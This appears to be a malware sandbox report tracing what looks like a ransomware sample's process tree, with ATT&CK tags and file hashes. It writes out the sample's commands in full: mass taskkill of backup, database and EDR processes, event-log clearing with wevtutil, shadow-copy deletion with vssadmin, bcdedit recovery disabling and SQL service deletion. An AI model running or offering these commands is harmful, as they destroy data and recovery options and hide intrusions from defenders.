C:\Windows\SysWOW64\taskkill.exetaskkill /IM TNSLSNR.exe /F4⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseConsole.exe /F4⤵PID:2072
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aspnet_state.exe /F4⤵PID:3052
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoBackUpEx.exe /F4⤵PID:2332
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM redis-server.exe /F4⤵PID:2708
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MySQLNotifier.exe /F4⤵PID:2852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oravssw.exe /F4⤵PID:1800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fppdis5.exe /F4⤵PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM His6Service.exe /F4⤵PID:2684
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM dinotify.exe /F4⤵PID:2672
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM JhTask.exe /F4⤵
- Kills process with taskkill
PID:1536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Executer.exe /F4⤵PID:2444
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AllPassCBHost.exe /F4⤵
- Kills process with taskkill
PID:2176
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"3⤵PID:548
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2572
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F4⤵PID:2796
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F4⤵PID:3056
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F4⤵PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F4⤵PID:2688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F4⤵PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F4⤵PID:1860
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bedbg.exe /F4⤵PID:2200
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
- Kills process with taskkill
PID:2868
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵PID:2960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵PID:3016
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F4⤵PID:2468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarMoniService.exe /F4⤵PID:2172
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGameSrv.exe /F4⤵PID:2776
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarCMService.exe /F4⤵PID:1944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsService.exe /F4⤵
- Kills process with taskkill
PID:2880
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGame.exe /F4⤵PID:2664
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServerView.exe /F4⤵PID:2724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IcafeServicesTray.exe /F4⤵PID:2952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BsAgent_0.exe /F4⤵
- Kills process with taskkill
PID:2128
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ControlServer.exe /F4⤵PID:2536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DisklessServer.exe /F4⤵PID:2912
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DumpServer.exe /F4⤵PID:1760
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NetDiskServer.exe /F4⤵PID:2980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PersonUDisk.exe /F4⤵PID:2780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM service_agent.exe /F4⤵PID:2728
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"3⤵PID:1704
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1124
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F4⤵PID:2756
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F4⤵
- Kills process with taskkill
PID:2996
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F4⤵PID:1728
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F4⤵PID:2356
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F4⤵
- Kills process with taskkill
PID:2724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F4⤵PID:1460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F4⤵PID:2196
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRTPortable.exe /F4⤵PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBox.exe /F4⤵PID:788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSVC.exe /F4⤵PID:2760
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBoxVM.exe /F4⤵PID:2084
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM abs_deployer.exe /F4⤵PID:2320
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_monitor.exe /F4⤵PID:2836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfupdatemgr.exe /F4⤵PID:2604
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ipc_proxy.exe /F4⤵PID:2128
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_agent.exe /F4⤵PID:2800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_sec_plan.exe /F4⤵PID:2320
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfavsvc.exe /F4⤵PID:2600
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F4⤵PID:1932
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F4⤵PID:2316
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F4⤵PID:2696
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F4⤵PID:2804
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM perl.exe /F4⤵PID:2824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM emagent.exe /F4⤵PID:2116
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsServer.exe /F4⤵PID:2920
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WEVTUTIL EL3⤵PID:784
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL EL4⤵
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Analytic"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2136
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Application"3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2520
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DebugChannel"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2732
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowFilterGraph"3⤵PID:3032
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowPluginControl"3⤵PID:2292
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Els_Hyphenation/Analytic"3⤵PID:2336
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "EndpointMapper"3⤵PID:2596
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "ForwardedEvents"3⤵PID:2796
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "HardwareEvents"3⤵PID:3036
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Internet Explorer"3⤵PID:2212
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Key Management Service"3⤵PID:2524
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MF_MediaFoundationDeviceProxy"3⤵PID:2968
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Media Center"3⤵PID:3060
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationDeviceProxy"3⤵PID:2284
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationPerformance"3⤵
- Clears Windows event logs
PID:2640
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationPipeline"3⤵PID:2740
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationPlatform"3⤵PID:2624
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-IE/Diagnostic"3⤵
- Clears Windows event logs
PID:2144
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-IEDVTOOL/Diagnostic"3⤵PID:2780
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-IEFRAME/Diagnostic"3⤵
- Clears Windows event logs
PID:2520
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-JSDumpHeap/Diagnostic"3⤵PID:2496
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-PerfTrack-IEFRAME/Diagnostic"3⤵PID:2448
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-PerfTrack-MSHTML/Diagnostic"3⤵PID:2204
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-ADSI/Debug"3⤵PID:3056
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-API-Tracing/Operational"3⤵PID:3024
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-ATAPort/General"3⤵
- Clears Windows event logs
PID:3040
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-ATAPort/SATA-LPM"3⤵PID:1708
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-ActionQueue/Analytic"3⤵PID:1936
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-AltTab/Diagnostic"3⤵PID:1784
-
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Microsoft-Windows-AppID/Operational"3⤵PID:2352
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe2⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:652 -
C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1936
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures3⤵PID:1652
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc delete MsDtsServer100&&sc delete MSSQL$SOPHOS&&sc delete MSSQLFDLauncher&&sc delete MSSQLSERVER&&sc delete MSSQLServerADHelper100&&sc delete MSSQLServerOLAPService&&sc delete ReportServer&&sc delete SQLAgent$SOPHOS&&sc delete "SQLANYs_sem5"&&sc delete SQLBrowser&&sc delete SQLSERVERAGENT&&sc delete SQLWriter&&sc delete B1LicenseService&&sc delete b1s50000&&sc delete b1s50001&&sc delete b1s50002&&sc delete B1ServerTools&&sc delete B1ServerTools64&&sc delete B1Workflow&&sc delete COMSysApp&&sc delete Gatekeeper64&&sc delete isapnp&&sc delete "SAP Business One RSP Agent Service"&&sc delete SBOClientAgent&&sc delete "SBODI_Server"&&sc delete SBOMail&&sc delete SBOWFDataAccess&&taskkill /f /im db*&&taskkill /f /im apache*&&taskkill /f /im mysql*&&taskkill /f /im Notifier*&&taskkill /f /im IBM*&&taskkill /f /im copy*&&taskkill /f /im store*&&taskkill /f /im sql*&&taskkill /f /im vee*&&taskkill /f /im wrsa*&&taskkill /f /im postg*&&taskkill /f /im sage*&&taskkill /f /im msdt*&&taskkill /f /im ora*&&taskkill /f /im microsoft*&&taskkill /f /im backup*&&taskkill /f /im http*&&taskkill /f /im office*&&taskkill /f /im cube*&&taskkill /f /im team*&&taskkill /f /im b1*&&taskkill /f /im sbo*&&taskkill /f /im reporting*&&taskkill /f /im sav*&&taskkill /f /im fd*&&taskkill /f /im microsoft*&&net stop MSSQLFDLauncher&&net stop MSSQLServerOLAPService&&net stop ReportServer3⤵PID:1456
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵PID:288
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no3⤵PID:1176
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService1⤵PID:2176
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
File Deletion
2File and Directory Permissions Modification
1Impair Defenses
1Indicator Removal on Host
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
964B
MD5eca5aea9a408d8bc3c4f1f8cf878fde7
SHA1a2b11ca6eb49b3be96f22a9501f474dc0bf9fb24
SHA256fb10ac87b5b071319524e0593e14403651f2ecfc8d6616e4f5eab551225a7abb
SHA512c0352e6c450d3488a98eba29561212bff8a4e6bde0e505d2e8c86c7596fc84d90afe3288bac02186bf96c065df6e2b264aa537872a2d6e4e3a0f8ebf3e01e2e2
-
Filesize
964B
MD5eca5aea9a408d8bc3c4f1f8cf878fde7
SHA1a2b11ca6eb49b3be96f22a9501f474dc0bf9fb24
SHA256fb10ac87b5b071319524e0593e14403651f2ecfc8d6616e4f5eab551225a7abb
SHA512c0352e6c450d3488a98eba29561212bff8a4e6bde0e505d2e8c86c7596fc84d90afe3288bac02186bf96c065df6e2b264aa537872a2d6e4e3a0f8ebf3e01e2e2
-
Filesize
53KB
MD5b57545cb36ef6a19fdde4b2208ebb225
SHA11d319740835ff12562e04cc74545a047bba63031
SHA256445d709ea4ae38706a0cc47ffc6c100fb9a354ff1ac718d0c23415524bdfc895
SHA5123618bb17282d8d82ff280590563eebd5c0b181d24156f6a69cba53d17a1bae0d9287c9f191efbe6c3d4223bcb47348c74177000aa0844263ed176df56e1f0856